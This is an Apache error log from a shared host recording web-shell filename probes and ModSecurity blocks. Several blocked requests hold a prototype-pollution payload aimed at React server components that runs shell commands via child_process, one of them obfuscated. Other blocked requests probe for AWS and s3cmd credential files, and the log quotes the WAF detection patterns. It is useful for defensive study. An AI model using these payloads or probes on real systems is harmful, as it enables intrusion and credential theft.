/usr/local/apache/htdocs/log.php [Tue Dec 16 13:43:18.877307 2025] [:error] [pid 20237:tid 20311] [client 4.230.30.149:33556] File does not exist: /usr/local/apache/htdocs/zwso.php [Tue Dec 16 13:43:19.079682 2025] [:error] [pid 20468:tid 20484] [client 4.230.30.149:33558] File does not exist: /usr/local/apache/htdocs/about3.php [Tue Dec 16 13:43:19.879628 2025] [:error] [pid 20236:tid 20260] [client 4.230.30.149:33560] File does not exist: /usr/local/apache/htdocs/inputs.php [Tue Dec 16 13:43:20.392402 2025] [:error] [pid 11215:tid 11233] [client 4.230.30.149:33570] File does not exist: /usr/local/apache/htdocs/r4f_1.php [Tue Dec 16 13:43:20.894074 2025] [:error] [pid 11215:tid 11219] [client 4.230.30.149:33572] File does not exist: /usr/local/apache/htdocs/ftp.php [Tue Dec 16 13:43:21.109925 2025] [:error] [pid 11215:tid 11237] [client 4.230.30.149:33574] File does not exist: /usr/local/apache/htdocs/content.php [Tue Dec 16 13:43:21.301764 2025] [:error] [pid 11215:tid 11228] [client 4.230.30.149:33576] File does not exist: /usr/local/apache/htdocs/ext.php [Tue Dec 16 13:43:21.499717 2025] [:error] [pid 11215:tid 11236] [client 4.230.30.149:33578] File does not exist: /usr/local/apache/htdocs/himu.php [Tue Dec 16 13:43:21.690412 2025] [:error] [pid 20468:tid 20478] [client 4.230.30.149:33580] File does not exist: /usr/local/apache/htdocs/wfile.php [Tue Dec 16 13:43:21.883487 2025] [:error] [pid 20236:tid 20241] [client 4.230.30.149:33582] File does not exist: /usr/local/apache/htdocs/pp.php [Tue Dec 16 13:43:22.318805 2025] [:error] [pid 20236:tid 20243] [client 4.230.30.149:33584] File does not exist: /usr/local/apache/htdocs/miansha.php [Tue Dec 16 13:43:22.521990 2025] [:error] [pid 11215:tid 11238] [client 4.230.30.149:33586] File does not exist: /usr/local/apache/htdocs/test2.php [Tue Dec 16 13:43:23.028552 2025] [:error] [pid 11215:tid 11231] [client 4.230.30.149:33598] File does not exist: /usr/local/apache/htdocs/wp-links-opml.php [Tue Dec 16 13:43:23.228459 2025] [:error] [pid 20237:tid 20302] [client 4.230.30.149:33600] File does not exist: /usr/local/apache/htdocs/mah.php [Tue Dec 16 13:43:23.425750 2025] [:error] [pid 11215:tid 11240] [client 4.230.30.149:33602] File does not exist: /usr/local/apache/htdocs/asas.php [Tue Dec 16 13:43:23.817955 2025] [:error] [pid 11215:tid 11218] [client 4.230.30.149:33606] File does not exist: /usr/local/apache/htdocs/mans.php [Tue Dec 16 13:43:24.009932 2025] [:error] [pid 11215:tid 11221] [client 4.230.30.149:33608] File does not exist: /usr/local/apache/htdocs/build.php [Tue Dec 16 13:43:24.737010 2025] [:error] [pid 11215:tid 11219] [client 4.230.30.149:33614] File does not exist: /usr/local/apache/htdocs/atomlib.php [Tue Dec 16 13:43:25.112216 2025] [:error] [pid 11215:tid 11235] [client 4.230.30.149:33618] File does not exist: /usr/local/apache/htdocs/lib.php [Tue Dec 16 13:43:25.503176 2025] [:error] [pid 11215:tid 11237] [client 4.230.30.149:33622] File does not exist: /usr/local/apache/htdocs/lv.php [Tue Dec 16 13:43:25.719061 2025] [:error] [pid 11215:tid 11228] [client 4.230.30.149:33624] File does not exist: /usr/local/apache/htdocs/class-wp.php [Tue Dec 16 13:43:25.943315 2025] [:error] [pid 20235:tid 20288] [client 4.230.30.149:33626] File does not exist: /usr/local/apache/htdocs/about.php [Tue Dec 16 13:43:26.707221 2025] [:error] [pid 20468:tid 20488] [client 4.230.30.149:33628] File does not exist: /usr/local/apache/htdocs/filemanager.php [Tue Dec 16 13:43:27.167486 2025] [:error] [pid 11215:tid 11234] [client 4.230.30.149:33630] File does not exist: /usr/local/apache/htdocs/ioxi-o2.php [Tue Dec 16 13:43:27.358647 2025] [:error] [pid 20235:tid 20271] [client 4.230.30.149:33632] File does not exist: /usr/local/apache/htdocs/a.php [Tue Dec 16 13:43:27.590620 2025] [:error] [pid 20237:tid 20314] [client 4.230.30.149:33636] File does not exist: /usr/local/apache/htdocs/mail.php [Tue Dec 16 13:43:27.805208 2025] [:error] [pid 20237:tid 20305] [client 4.230.30.149:33644] File does not exist: /usr/local/apache/htdocs/CLA.php [Tue Dec 16 13:43:28.034183 2025] [:error] [pid 11215:tid 11229] [client 4.230.30.149:33646] File does not exist: /usr/local/apache/htdocs/ol.php [Tue Dec 16 13:43:28.659743 2025] [:error] [pid 11215:tid 11231] [client 4.230.30.149:33648] File does not exist: /usr/local/apache/htdocs/ouh.php [Tue Dec 16 13:43:29.115814 2025] [:error] [pid 11215:tid 11240] [client 4.230.30.149:33650] File does not exist: /usr/local/apache/htdocs/bolt.php [Tue Dec 16 13:43:29.768888 2025] [:error] [pid 20236:tid 20251] [client 4.230.30.149:33652] File does not exist: /usr/local/apache/htdocs/shell.php [Tue Dec 16 13:43:30.043423 2025] [:error] [pid 20468:tid 20472] [client 4.230.30.149:33654] File does not exist: /usr/local/apache/htdocs/tgrs.php [Tue Dec 16 13:43:30.249732 2025] [:error] [pid 11215:tid 11241] [client 4.230.30.149:33656] File does not exist: /usr/local/apache/htdocs/system_log.php [Tue Dec 16 13:43:30.824006 2025] [:error] [pid 11215:tid 11221] [client 4.230.30.149:33662] File does not exist: /usr/local/apache/htdocs/gifclass4.php [Tue Dec 16 13:43:31.027203 2025] [:error] [pid 20237:tid 20301] [client 4.230.30.149:33664] File does not exist: /usr/local/apache/htdocs/z.php [Tue Dec 16 13:43:31.222631 2025] [:error] [pid 20235:tid 20269] [client 4.230.30.149:33666] File does not exist: /usr/local/apache/htdocs/akcc.php [Tue Dec 16 13:43:31.778688 2025] [:error] [pid 20237:tid 20315] [client 4.230.30.149:33668] File does not exist: /usr/local/apache/htdocs/zxz.php [Tue Dec 16 13:45:54.039456 2025] [:error] [pid 11215:tid 11226] [client 3.96.63.44:34086] [client 3.96.63.44] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.melectricperu.com"] [uri "/"] [unique_id "aUGo4qib1XkTCBgPpNhNPwAAAQg"] [Tue Dec 16 15:57:25.661261 2025] [:error] [pid 11215:tid 11233] [client 13.213.73.91:45706] [client 13.213.73.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "cpanel.pcenterdata.com"] [uri "/"] [unique_id "aUHHtaib1XkTCBgPpNhlZgAAAQ8"] [Tue Dec 16 16:04:01.139141 2025] [:error] [pid 20468:tid 20480] [client 108.129.114.192:48880] [client 108.129.114.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "mail.pcenterdata.com"] [uri "/"] [unique_id "aUHJQUnD0tXKTOMsoR178QAAAMg"] [Tue Dec 16 16:09:32.049043 2025] [:error] [pid 11215:tid 11237] [client 35.77.228.204:51048] [client 35.77.228.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.pcenterdata.com"] [uri "/"] [unique_id "aUHKjKib1XkTCBgPpNhotAAAARM"] [Tue Dec 16 16:09:51.009161 2025] [:error] [pid 20468:tid 20478] [client 18.183.204.195:51108] [client 18.183.204.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.madivaingenieros.com"] [uri "/"] [unique_id "aUHKn0nD0tXKTOMsoR186wAAAMY"] [Tue Dec 16 16:12:28.459480 2025] [:error] [pid 20236:tid 20253] [client 46.101.119.189:51648] [client 46.101.119.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\((?:\\\\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\\\\b\\\\W*?=|[^\\\\w\\\\x80-\\\\xFF]*?[\\\\!\\\\&\\\\|][^\\\\w\\\\x80-\\\\xFF]*?\\\\()|\\\\)[^\\\\w\\\\x80-\\\\xFF]*?\\\\([^\\\\w\\\\x80-\\\\xFF]*?[\\\\!\\\\&\\\\|])" at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "65"] [id "950010"] [rev "2"] [msg "LDAP Injection Attack"] [data "Matched Data: )() | found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$b0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22try { var req = null; try { req = \\x5c\\x5cu0070\\x5c\\x5cu0072\\x5c\\x5cu006f\\x5c\\x5cu0063\\x5c\\x5cu0065\\x5c\\x5cu0073\\x5c\\x5cu0073[string.fromcharcode(109,97,105,110,77,111,100,117,108,101)][string.fromcharcode(114,101,113,117,105,114,101)]; } catch(e) {} if (!r..."] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [ [hostname "ftp.reskate.org"] [uri "/"] [unique_id "aUHLPFojjS_JUsca8NIB4gAAAE0"] [Tue Dec 16 16:15:50.186168 2025] [:error] [pid 20235:tid 20291] [client 35.94.91.51:52324] [client 35.94.91.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "webmail.pcenterdata.com"] [uri "/"] [unique_id "aUHMBut3RHTTvL9YBfH_gwAAABg"] [Tue Dec 16 16:35:39.017483 2025] [:error] [pid 11215:tid 11219] [client 54.169.124.1:56242] [client 54.169.124.1] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "cpanel.pcenterdata.com"] [uri "/"] [unique_id "aUHQq6ib1XkTCBgPpNhrbgAAAQE"] [Tue Dec 16 16:37:50.492475 2025] [:error] [pid 20468:tid 20473] [client 43.207.92.128:57452] [client 43.207.92.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.melectricperu.com"] [uri "/"] [unique_id "aUHRLknD0tXKTOMsoR1-7wAAAME"] [Tue Dec 16 16:38:44.361309 2025] [:error] [pid 20237:tid 20310] [client 3.250.34.142:57914] [client 3.250.34.142] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "mail.pcenterdata.com"] [uri "/"] [unique_id "aUHRZKNNkYe2KQ9OfHKb7gAAAJE"] [Tue Dec 16 16:46:11.094944 2025] [:error] [pid 20237:tid 20307] [client 35.78.92.40:60142] [client 35.78.92.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.pcenterdata.com"] [uri "/"] [unique_id "aUHTI6NNkYe2KQ9OfHKccgAAAI4"] [Tue Dec 16 16:50:39.081834 2025] [:error] [pid 20468:tid 20491] [client 18.183.11.87:60842] [client 18.183.11.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.madivaingenieros.com"] [uri "/"] [unique_id "aUHUL0nD0tXKTOMsoR2AMAAAANM"] [Tue Dec 16 16:50:51.704816 2025] [:error] [pid 20236:tid 20263] [client 44.250.151.16:60890] [client 44.250.151.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "webmail.pcenterdata.com"] [uri "/"] [unique_id "aUHUO1ojjS_JUsca8NIDFQAAAFY"] [Tue Dec 16 16:52:46.525807 2025] [:error] [pid 20468:tid 20475] [client 149.13.91.181:33016] [client 149.13.91.181] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "198.199.72.26"] [uri "/.aws/.config"] [unique_id "aUHUrknD0tXKTOMsoR2ASwAAAMM"] [Tue Dec 16 16:52:51.581297 2025] [:error] [pid 11215:tid 11231] [client 149.13.91.181:33040] [client 149.13.91.181] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "198.199.72.26"] [uri "/s3cmd.ini"] [unique_id "aUHUs6ib1XkTCBgPpNhufQAAAQ0"] [Tue Dec 16 16:53:05.052763 2025] [:error] [pid 20468:tid 20487] [client 149.13.91.181:33088] [client 149.13.91.181] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "198.199.72.26"] [uri "/.config"] [unique_id "aUHUwUnD0tXKTOMsoR2AUgAAAM8"] [Tue Dec 16 16:53:07.638386 2025] [:error] [pid 11215:tid 